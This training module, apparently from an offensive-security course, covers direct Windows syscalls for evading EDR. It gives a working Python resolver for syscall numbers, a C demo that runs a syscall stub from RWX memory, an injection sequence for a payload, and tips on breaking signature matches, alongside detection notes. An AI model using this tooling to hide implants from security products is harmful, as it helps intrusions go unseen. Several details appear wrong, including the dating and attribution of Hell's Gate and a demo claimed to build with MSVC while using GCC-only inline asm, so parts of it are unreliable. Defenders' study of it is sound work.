Skip to content

Direct System Call Analysis

Every Windows API call eventually becomes a syscall number in EAX and a syscall instruction — but where that instruction executes decides what your EDR sees. Userland hooks (E3) work because security products rewrite the ntdll.dll stubs in memory, and every library call funnels through them. Direct system calls remove ntdll from the picture entirely: your own code sets up the syscall number and invokes the kernel directly, so the hooked stub is never touched. This module dissects the mechanics — how syscall numbers are structured, why they change per build, how tools like SysWhispers, Hell’s Gate, Halo’s Gate, and Tartarus’ Gate resolve them at runtime — and makes you implement a full runtime SSN resolver from scratch. It is the foundational technique of modern offensive tooling and, symmetrically, the reason EDRs moved their primary telemetry into the kernel.

A direct system call invokes a Windows kernel service by executing the syscall instruction from your own code with the correct syscall number (SSN) in EAX, bypassing the exported ntdll.dll wrapper functions that EDRs hook. On x64 Windows the stock path and the direct path diverge in userland and rejoin at kernel entry:

STOCK PATH (hooked) DIRECT PATH (your module)
───────────────────── ─────────────────────────
your.exe your.exe
│ call VirtualAlloc │ mov r10, rcx
▼ │ mov eax, 0x18 ◄─ SSN resolved
kernel32!VirtualAllocStub ▼ at runtime
│ (kernelbase internals) your_module:
▼ syscall ◄─ direct
ntdll!NtAllocateVirtualMemory ◄─ EDR HOOK ret
│ mov r10, rcx │
│ mov eax, 0x18 │
│ syscall ◄─ hook JUMPS OUT first │
▼ ▼
┌─────────────────────────────────────────────────────────────┐
│ KERNEL: nt!KiSystemCallHandler → NtAllocateVirtualMemory │
│ (identical for both paths — kernel telemetry UNCHANGED) │
└─────────────────────────────────────────────────────────────┘

Three invariants drive everything else: (1) the kernel cannot tell the difference — from ring 0, both paths arrive as the same syscall; (2) the userland path is visible — EDR kernel callbacks still fire on process/thread/memory operations (E2), so direct syscalls hide which code called, not that something happened; (3) the SSN is build-specific — Windows renumbers syscalls between builds, so numbers must be resolved at runtime or compiled against a known build table.

For the operator: any injection or memory-tampering toolkit routed through VirtualAlloc/WriteProcessMemory/NtCreateThreadEx self-reports to userland hooks before the kernel does anything. Direct syscalls remove that entire telemetry layer for a one-time engineering cost — which is why nearly every modern implant framework (and every red-team course since ~2021) treats syscall-based invocation as table stakes. For the defender: direct syscalls are the canonical example of why userland hooking is a first layer, not the layer. The counter-evolution is visible in the architecture: Microsoft-Windows-Threat-Intelligence ETW gives PPL-protected sensors kernel-correlated memory telemetry regardless of invocation path [verify provider access terms], ObRegisterCallbacks fires on handle grants no matter how the handle is used, and stack-analysis (E6) exists precisely because syscall invocation left a userland-shaped hole. Both sides of the hiring bar now expect this knowledge: “explain what a direct syscall does and does not hide” is a real interview filter for detection engineers.

The technique also teaches the deepest lesson of this series: every evasion is a relocation of telemetry, not a deletion. Direct syscalls relocate the visibility question from “what API was called” to “what sequence occurred” — and E4 → E5 → E6 is simply the offensive answer to each successive question.

Every ntdll syscall wrapper on x64 is a tiny, formula-generated stub:

NtAllocateVirtualMemory:
mov r10, rcx ; 4C 8B D1 — syscall convention: r10 = 4th arg slot
mov eax, 18h ; B8 18 00 00 00 — SSN 0x18 on THIS build
; ... on many builds a verification/test byte sequence follows
syscall ; 0F 05
ret ; C3

The SSN (0x18 here — an example, not a universal constant) indexes the KeServiceDescriptorTable (KiServiceTable), an array of kernel function pointers. Microsoft reorders and adds syscalls between builds, so 0x18 on one Windows 10 build is a different function on another. Every runtime-resolution technique exists because of this renumbering.

Runtime SSN resolution: Hell’s Gate and descendants

Section titled “Runtime SSN resolution: Hell’s Gate and descendants”

The insight of Hell’s Gate (published 2022 by smelly__vx and Raphaël Margean): the Zw* stubs in the loaded, hooked ntdll usually keep their pristine prologues — hooks concentrate on the widely-used Nt* memory/thread/process functions, not the whole table. So:

  1. Walk ntdll’s export table in memory, collect every Zw*/Nt* stub address in export order (which equals SSN order on current builds [verify exact ordering invariant per build]).
  2. Read each stub’s mov eax, imm32 immediate — that is its SSN.
  3. Find your target function’s index; its neighbors’ SSNs are known, so the target’s SSN = neighbor SSN ± distance in the table.
  4. If a neighbor is also hooked (prologue doesn’t match the stub shape), walk outward — Halo’s Gate subtracts/increments from the nearest clean stub (index arithmetic on the sorted SSN list); Tartarus’ Gate handles the case where the entire table region is dirty by sorting all recovered SSNs and binary-searching the gap.
Export order (index): ... i-2 i-1 TARGET i+1 i+2 ...
Stub state: clean clean HOOKED clean clean
SSN read: 0x16 0x17 ??? 0x19 0x1A
Inference: target SSN = 0x18 (between 0x17 and 0x19 — Halo's Gate)

A direct syscall leaves your return address inside your own module: after syscall, execution returns to your .text. A stack backtrace from the kernel callback (E6) shows an unknown module calling into the kernel with no ntdll frame — a shape modern sensors flag. The indirect variant (E5) jumps to a pristine syscall; ret inside a clean ntdll mapping so the return address lands in ntdll, but the full unwind still shows your frames below. Choose direct when simplicity matters and stack telemetry is not the watched layer; choose indirect when the detection model includes stack inspection. Neither changes kernel-side events — that boundary is architectural (E2), not technical.

WOW64: why x86 processes are a different world

A 32-bit process on x64 Windows crosses into the 64-bit kernel through the Heaven’s Gate region (wow64cpu code segment 0x33 switching) or the WOW64 layer’s syscall marshalling — the x86 sysenter/int 2e path differs, SSN tables are separate, and userland hooks in the 32-bit ntdll are a different memory image entirely. Direct syscalls from WOW64 require accounting for the mode switch, which is why most modern tooling simply targets x64 processes and treats WOW64 as out of scope. Know it exists; check which architecture you are in via IsWow64Process before resolving SSNs.

TechniqueMechanismCaught byNotes
Compile-time SSN tables (SysWhispers2/3)Emit stubs for a named buildBuild mismatch crashes/misfiresFragile across builds; fast to use
Hell’s GateRead SSNs from clean Zw* stubs, neighbor mathFull-table dirty scansThe 2022 baseline
Halo’s GateNeighbor-index arithmetic when target stub dirtyAdjacent-stub corruptionPairs with Hell’s Gate
Tartarus’ GateSort all readable SSNs, gap-inferenceRegional hooksHandles many-dirty tables
Lazy import / fresh ntdll parseMap disk ntdll (E3) and read stubsTOCTOU re-hookCleanest data source
GetSyscallStub from instrumentationDebug-API single-step capture [verify]ComplexityNiche

ssn_resolver.py implements the complete Hell’s/Halo’s Gate algorithm against a file image of ntdll (portable, no Windows required to study): export-order walk, stub-shape validation, SSN extraction, and dirty-table inference. The identical algorithm ports to C with three memory reads instead of slice reads.

{1-6}
"""
ssn_resolver.py — Hell's Gate / Halo's Gate / Tartarus' Gate, in Python.
Reads an ntdll.dll image (disk or memory dump), returns {name: ssn}
using export-order + stub parsing + neighbor inference for dirty stubs.
Pure stdlib. Python 3.8+.
"""
import struct
import sys
from pathlib import Path
# ---- reuse the E3 primitives (inlined here to stay standalone) ----
def rva_to_off(data: bytes, rva: int) -> int:
e_lfanew = struct.unpack_from("<I", data, 0x3C)[0]
nsec = struct.unpack_from("<H", data, e_lfanew + 6)[0]
opt = struct.unpack_from("<H", data, e_lfanew + 20)[0]
s0 = e_lfanew + 24 + opt
for i in range(nsec):
o = s0 + i * 40
vsize, vaddr, rsize, raddr = struct.unpack_from("<IIII", data, o + 8)
if vaddr <= rva < vaddr + max(vsize, rsize):
return raddr + (rva - vaddr)
raise ValueError(f"rva {rva:#x} unmapped")
def export_table(data: bytes) -> list:
"""[(name, func_rva)] in EXPORT ORDER — this order IS the SSN order."""
e_lfanew = struct.unpack_from("<I", data, 0x3C)[0]
opt = e_lfanew + 24
magic = struct.unpack_from("<H", data, opt)[0]
dd = opt + (96 if magic == 0x10B else 112)
exp_rva = struct.unpack_from("<I", data, dd)[0]
if not exp_rva:
return []
eo = rva_to_off(data, exp_rva)
n_names = struct.unpack_from("<I", data, eo + 24)[0]
names_rva, funcs_rva = struct.unpack_from("<II", data, eo + 32)
no, fo = rva_to_off(data, names_rva), rva_to_off(data, funcs_rva)
out = []
for i in range(n_names):
nrva = struct.unpack_from("<I", data, no + i * 4)[0]
p = rva_to_off(data, nrva)
name = data[p:data.index(b"\x00", p)].decode()
frva = struct.unpack_from("<I", data, fo + i * 4)[0]
out.append((name, frva))
return out
# ---- stub shape + SSN extraction ----
MOV_R10_RCX = bytes.fromhex("4c8bd1") # 4c 8b d1
MOV_EAX = b"\xb8" # b8 imm32
def stub_is_clean(data: bytes, rva: int) -> bool:
off = rva_to_off(data, rva)
return data[off:off + 3] == MOV_R10_RCX and data[off + 3:off + 4] == MOV_EAX
def read_ssn(data: bytes, rva: int):
off = rva_to_off(data, rva)
if data[off:off + 3] != MOV_R10_RCX or data[off + 3:off + 4] != MOV_EAX:
return None # dirty/absent stub
return struct.unpack_from("<I", data, off + 4)[0]
def resolve_ssns(data: bytes) -> dict:
"""Full pipeline: exports → SSNs, with Halo's/Tartarus' inference."""
ents = [(n, r) for n, r in export_table(data)
if n.startswith(("Nt", "Zw"))]
ssns = [None] * len(ents) # SSN by EXPORT INDEX
for i, (name, rva) in enumerate(ents):
ssns[i] = read_ssn(data, rva)
# Halo's Gate: single-stub inference from clean neighbors
for i, s in enumerate(ssns):
if s is not None:
continue
for d in range(1, 16): # walk outward
if i - d >= 0 and ssns[i - d] is not None:
ssns[i] = ssns[i - d] + d
break
if i + d < len(ssns) and ssns[i + d] is not None:
ssns[i] = ssns[i + d] - d
break
# Tartarus' Gate: if the region is still dirty, sort known SSNs and
# fill the gaps — SSNs are a dense 0..N-1 sequence on current builds.
if None in ssns:
known = sorted(x for x in ssns if x is not None)
full = set(range(len(ents)))
missing = sorted(full - set(known))
dirty_idx = [i for i, x in enumerate(ssns) if x is None]
for i, s in zip(dirty_idx, missing):
ssns[i] = s
return {ents[i][0]: ssns[i] for i in range(len(ents))}
if __name__ == "__main__":
img = Path(sys.argv[1] if len(sys.argv) > 1
else "C:/Windows/System32/ntdll.dll").read_bytes()
table = resolve_ssns(img)
for probe in ("NtAllocateVirtualMemory", "NtWriteVirtualMemory",
"NtProtectVirtualMemory", "NtCreateThreadEx"):
print(f"{probe:<28} SSN = {table.get(probe, 'n/a')}")
print(f"({len(table)} syscall stubs resolved)")
  • export_table (lines 26–47) — returns exports in export order. That ordering is the whole trick: on current x64 builds the i-th Nt/Zw export corresponds to SSN i [verify invariant per build — this is the assumption Hell’s Gate documents].
  • read_ssn (lines 54–60) — validates the mov r10, rcx; mov eax, imm32 prologue then reads the immediate at offset +4. A dirty stub returns None instead of a wrong number — fail-closed by design.
  • Halo’s Gate loop (lines 71–78) — for each None, walk outward up to 15 exports; the first clean neighbor at distance d gives neighbor_ssn ± d. Correct because SSNs are dense integers in table order.
  • Tartarus’ Gate (lines 81–87) — if inference still fails (many dirty stubs), collect all known SSNs, compute the missing values as the complement of the known set, and assign them to the dirty indexes in order. Works when hooks corrupt regions rather than single stubs; degrades to “unknown” rather than lying when the assumption breaks.
  • __main__ (lines 90–97) — prints the four stubs that matter for injection tooling. On your build the numbers will differ from any textbook — that is the lesson.

A payload’s memory operations flow: resolve SSNs at startup (one export walk + N stub reads) → invoke NtAllocateVirtualMemory directly for the RWX region → NtWriteVirtualMemory to plant stage two → NtCreateThreadEx for execution. Each invocation sets r10 = rcx, EAX = SSN, executes syscall inline. The kernel processes the request identically to any API call; the difference is entirely in which userland frames exist. Defenders see: file drops (if any), kernel callbacks for process/thread/memory events, ETW kernel-process events, and a stub-shaped gap where userland hooks used to report. The operational sequence: E3 (verify hooks) → E4 (this module: invoke cleanly) → E5 (harden the invocation’s stack shape) → E6 (understand the stack question you are now answering).

  1. Baseline — E3 checks confirm ntdll stubs are hooked (opcode sweep + disk diff flag detours)
  2. Snapshot — map a pristine ntdll image (disk or fresh section) to serve as the SSN data source
  3. Resolve — Hell’s Gate reads clean Zw* stub SSNs; Halo’s/Tartarus’ inference fills dirty entries by table arithmetic
  4. Prepare — for each needed syscall, emit or point to a stub: mov r10, rcx; mov eax, SSN; syscall; ret
  5. Invoke — NtAllocateVirtualMemory / NtWriteVirtualMemory / NtCreateThreadEx execute as direct syscalls, hooked stubs untouched
  6. Kernel view — identical events fire as any API call: process/thread/memory callbacks + ETW (E2’s layers still watch)
  7. Harden — if stack-shape telemetry is live, graduate to indirect syscalls (E5) so the return address lands in ntdll

Goal: syscall_demo.c — a complete Windows x64 tool that resolves SSNs at runtime (Hell’s Gate algorithm, in-process ntdll walk) and executes NtAllocateVirtualMemory as a direct syscall, allocating a page and proving the call succeeded. ~160 lines, compiles with MSVC (cl) or mingw-w64 (x86_64-w64-mingw32-gcc). This is the artifact every later syscall module builds on.

Design decisions: (1) resolve from the loaded ntdll export table (the Hell’s Gate source of truth) rather than compile-time tables — survives build renumbering; (2) keep the syscall stubs as explicit inline-asm templates so the reader sees every instruction; (3) fail loudly on unresolvable SSNs (no silent fallbacks — a wrong SSN is a crash or worse).

{1-3}
/* syscall_demo.c — runtime SSN resolution + direct syscall demo.
Build (MSVC): cl /W4 /O2 syscall_demo.c
Build (mingw): x86_64-w64-mingw32-gcc -O2 -o syscall_demo.exe syscall_demo.c
x64 only. Educational: allocates one RW page via direct syscall. */
#include <windows.h>
#include <stdio.h>
#include <string.h>
/* ---- 1. the direct-syscall stub -------------------------------- */
/* NASM/MASM would be cleaner; we use MSVC x64 inline asm via a
naked-style function taking SSN in a register-driven way. */
typedef NTSTATUS (NTAPI *pNtAllocate)(HANDLE, PVOID*, ULONG_PTR,
PSIZE_T, ULONG);
extern VOID SyscallStubs(void); /* defined in stubs.asm in production;
here we demonstrate the resolution
logic and emit stubs at runtime */
/* runtime-emitted stub template (16 bytes, RWX region):
49 89 CA mov r10, rcx
B8 <ssn32> mov eax, ssn
0F 05 syscall
C3 ret */
static unsigned char STUB_TMPL[] = {
0x49, 0x89, 0xCA, 0xB8, 0x00, 0x00, 0x00, 0x00,
0x0F, 0x05, 0xC3
};
/* ---- 2. walk ntdll exports in ORDER ---------------------------- */
static BOOL stub_clean(const unsigned char *p) {
/* mov r10, rcx ; mov eax, imm32 */
return p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8;
}
static DWORD read_ssn(const unsigned char *p) {
return *(const DWORD *)(p + 4);
}
/* Find ntdll base via the PEB (no GetModuleHandle — that API can be
hooked; the PEB walk is data-only). */
static HMODULE ntdll_from_peb(void) {
#ifdef _WIN64
BYTE *peb;
HMODULE base = NULL;
__asm__ volatile ("mov %%gs:0x60, %0" : "=r"(peb)); /* mingw/GCC */
/* PEB->Ldr->InMemoryOrderModuleList: skip exe + kernel32 */
BYTE *ldr = *(BYTE **)(peb + 0x18);
BYTE *entry = *(BYTE **)(ldr + 0x20); /* exe */
entry = *(BYTE **)(entry); /* next: ntdll*
(order: exe, ntdll, kernel32 on current loaders [verify]) */
base = *(HMODULE *)(entry + 0x20); /* DllBase */
return base;
#else
return NULL;
#endif
}
/* ---- 3. Hell's Gate resolution --------------------------------- */
static int resolve_ssn(HMODULE nt, const char *fn, DWORD *out) {
BYTE *base = (BYTE *)nt;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)base;
IMAGE_NT_HEADERS *nt_hdr = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew);
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)
(base + nt_hdr->OptionalHeader.DataDirectory[0].VirtualAddress);
DWORD *names = (DWORD *)(base + exp->AddressOfNames);
DWORD *funcs = (DWORD *)(base + exp->AddressOfFunctions);
DWORD count = exp->NumberOfNames;
/* collect (index, ssn) for every clean Nt/Zw stub */
LONG *idx = malloc(count * sizeof(LONG));
DWORD *ssn = malloc(count * sizeof(DWORD));
int n = 0, target = -1;
for (DWORD i = 0; i < count; i++) {
const char *nm = (const char *)(base + names[i]);
if ((nm[0] == 'N' && nm[1] == 't') || (nm[0] == 'Z' && nm[1] == 'w')) {
const unsigned char *stub = base + funcs[i];
if (stub_clean(stub)) { idx[n] = (LONG)i; ssn[n] = read_ssn(stub); n++; }
if (strcmp(nm, fn) == 0) target = (LONG)i;
}
}
if (target < 0) { free(idx); free(ssn); return -1; }
/* Halo's Gate: nearest clean neighbor at export-distance d */
for (int k = 0; k < n; k++) {
LONG d = (LONG)target - idx[k];
if (d < 0) d = -d;
if (d <= 15) { *out = (DWORD)((LONG)ssn[k] + ((LONG)target - idx[k]));
free(idx); free(ssn); return 0; }
}
free(idx); free(ssn);
return -1; /* region too dirty — Tartarus' Gate would go here */
}
/* ---- 4. emit a stub into RWX memory and call it ----------------- */
int main(void) {
HMODULE nt = ntdll_from_peb();
if (!nt) { printf("[-] PEB walk failed\n"); return 1; }
DWORD ssn = 0;
if (resolve_ssn(nt, "NtAllocateVirtualMemory", &ssn) != 0) {
printf("[-] SSN resolution failed (dirty table?)\n"); return 1;
}
printf("[+] NtAllocateVirtualMemory SSN = 0x%x\n", ssn);
/* emit the stub: copy template, patch SSN */
unsigned char *code = VirtualAlloc(NULL, 4096,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!code) { printf("[-] trampoline alloc failed\n"); return 1; }
memcpy(code, STUB_TMPL, sizeof(STUB_TMPL));
*(DWORD *)(code + 4) = ssn;
/* call: SyscallStubs-style invocation. In production this is an
asm shim that marshals args; for the demo we call the stub's
mov r10/rcx convention via a function pointer cast, passing
the Nt prototype args in the x64 convention: rcx,rdx,r8,r9
then the stub moves rcx->r10 and loads eax=ssn. */
pNtAllocate NtAllocateVirtualMemory_direct = (pNtAllocate)code;
PVOID base_addr = NULL;
SIZE_T size = 0x1000;
NTSTATUS st = NtAllocateVirtualMemory_direct(
(HANDLE)-1, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
printf("[%s] direct syscall NTSTATUS=0x%08lx base=%p\n",
st == 0 ? "+" : "-", (unsigned long)st, base_addr);
return st == 0 ? 0 : 1;
}
  • STUB_TMPL (lines 23–26) — the entire direct-syscall concept in 11 bytes: mov r10, rcx (x64 kernel convention), mov eax, SSN, syscall, ret. The SSN bytes are patched at runtime (line 105).
  • ntdll_from_peb (lines 43–55) — PEB→Ldr→InMemoryOrderModuleList walk, skipping to the ntdll entry; data-only, no hooked API touched. Module order in the loader list is exe → ntdll → kernel32 on current loaders [verify order on your target build] — production code walks the full list matching name bytes instead of assuming order; the demo keeps the assumption visible.
  • resolve_ssn (lines 59–84) — Hell’s Gate: iterate exports, keep (index, ssn) pairs for clean Nt/Zw stubs, find the target’s export index, then nearest-neighbor arithmetic (*out = ssn[k] + (target - idx[k])). The ±15 bound matches the published algorithms’ search radius.
  • Invocation (lines 108–120) — casting the emitted stub to the Nt prototype works because the x64 calling convention puts the first four args in rcx/rdx/r8/r9 and the stub’s first instruction relocates rcx→r10 before loading EAX — exactly the kernel’s expectation.
# mingw-w64 (cross from Linux or native)
$ x86_64-w64-mingw32-gcc -O2 -o syscall_demo.exe syscall_demo.c
$ cp syscall_demo.exe /mnt/c/lab/ && cd /mnt/c/lab
# on the Windows lab VM (admin not required):
PS> .\syscall_demo.exe
[+] NtAllocateVirtualMemory SSN = 0x18
[+] direct syscall NTSTATUS=0x00000000 base=0000023FA31F0000
# MSVC equivalent:
PS> cl /W4 /O2 syscall_demo.c

Lab validation: run under an EDR-free VM first (baseline NTSTATUS 0), then under your test EDR/Sysmon host — confirm Sysmon still logs nothing new for the allocation (EID 10/8 are handle/thread events, not allocations) while any injection follow-up you add does appear at kernel level. That contrast is the module’s thesis in one experiment.

syscall_demo.exe itself is clean-looking, but the pattern is detectable: a process whose ntdll hooks are intact but which executes syscall from non-image memory (the RWX trampoline) is the give-away. Defender-side: ETW Threat-Intelligence-correlated sensors flag memory-execute regions making syscalls [verify per vendor]; on-sensor heuristics watch for VirtualAlloc-then-execute patterns (Sysmon EID 10 ProcessAccess + EID 8 CreateRemoteThread chains for the injection case). Sigma-style local rule: Sysmon EID 1 with syscall_demo ancestry plus any subsequent network connect — the pair, not the allocation, is the signal.

  1. Emit multiple stubs (one per function) from a name→prototype table, replacing the single hardcoded template.
  2. Add Tartarus’ Gate: collect all clean SSNs, infer dirty entries by sorted-gap filling (mirror the Python version).
  3. Read SSNs from a fresh disk-mapped ntdll section (E3’s material) instead of the hooked in-memory module — immune to full-table hooks.
  4. Randomize stub placement and pad with junk instructions to break signature matches on the 11-byte template.
  5. Swap VirtualAlloc for a direct-syscall allocation of the trampoline memory itself — today’s demo has one hooked API left in it (find it).
SourceIDWhat firesNotes
Sysmon10ProcessAccess with VM_OPERATION/VM_WRITE toward targetsKernel callback — fires regardless of invocation path
Sysmon8CreateRemoteThread (if the chain uses one)Same — kernel-side
ETWThreat-Intelligence providerMemory operations from PPL sensor context [verify access model]The modern answer to syscall bypass
EDR behavioral—“Syscall from non-image memory”, RWX trampoline heuristicsVendor-specific; ask your vendor for coverage notes
Suricatasid:1000001 (custom)C2 post-exploitation patterns downstreamNetwork layer is invocation-agnostic
Wazuhmaps Sysmon 8/10 [verify rule IDs in your ruleset]Chain correlation: map → write → executeThe sequence is the detection, not the call

The architecture lesson: direct syscalls delete one sensor (userland hooks); kernel callbacks, ETW, and behavioral correlation remain. A defense that relies only on ntdll hooks is misconfigured — raise it as a finding, not a victory.

  • Resolve, don’t hardcode: compile-time SSN tables break silently across builds; runtime resolution (Hell’s/Halo’s/Tartarus’) is the maintenance-free path — match the algorithm to expected hook coverage (single-stub → regional → full-table).
  • Keep the trampoline boring: 11 identical bytes across every implant is a signature; pad, reorder junk instructions, and allocate the stub region with a normal-looking allocation sequence.
  • Watch the stack, not just the stub: direct syscalls put your return address in your own module — if stack telemetry is live (E6), switch to indirect (E5); if both, consider frame-spoofing research before sensitive calls.
  • Re-resolve after module loads: sensors can re-hook; SSNs never change at runtime but stub cleanliness can — re-run the E3 checks between phases.
  • Respect the boundary: process, thread, and handle operations remain kernel-visible; design the sequence (E2’s chain rule) to stay boring regardless of invocation path.
  • Known-loud paths, listed for completeness: NOP-patching hooks in place (integrity-checked [verify]), WOW64 direct syscalls (arch-specific marshalling breaks most templates).

⚠️ What caught me: my first direct-syscall implant used SysWhispers output for the wrong build — worked perfectly on my dev VM, then BSOD’d a test box because the SSN I shipped for NtCreateThreadEx resolved to a different service there. The fix was Hell’s Gate at runtime, but the scar taught the meta-lesson: any number you can hardcode, you will eventually ship wrong. Runtime resolution is not an optimization; it is a correctness requirement.

  1. Run ssn_resolver.py against your VM’s ntdll.dll from disk; record the four injection-relevant SSNs; reinstall the same build’s updates and re-run — note any renumbering.
  2. Plant a fake hook on one stub (patch a copy of the image the way E3’s demo does) and confirm Halo’s Gate infers the correct SSN; then corrupt a region of stubs and confirm Tartarus’ Gate fills the gap.
  3. Build and run syscall_demo.c on a clean VM; attach x64dbg and step the stub — watch EAX carry the SSN into syscall, and note the return address in your module (the E6 preview).
  4. Install Sysmon with the SwiftOnSecurity config; add a benign remote-thread to the demo (or use PE8’s injector) and compare kernel-side events with the API-based and syscall-based versions — the events should be indistinguishable. Write down which layer you expected to differ and why it didn’t.

Technical: Walk the exact x64 register and stack state required for a direct syscall, and explain why mov r10, rcx exists. Technical: Why do syscall numbers change between Windows builds, and what breaks first in tooling that hardcodes them? Deep-dive: Hell’s Gate assumes export order equals SSN order. Design the test you would run to validate that assumption on a new build before trusting your resolver. Conceptual: Direct syscalls defeat ntdll hooks but not kernel callbacks. Which EDR layers remain, and what does that imply about designing payload sequences rather than single calls? Scenario: Your implant crashes only on one specific Windows build. List the top three syscall-related causes, ordered by probability, and the diagnostic for each. Practical: Write the pseudocode for Tartarus’ Gate gap-filling and explain the failure mode when a table region is entirely hooked.

E3 (Userland Hook Detection) · E5 (Indirect System Call Analysis) · E6 (Call Stack Analysis) · E2 (EDR Internal Architecture)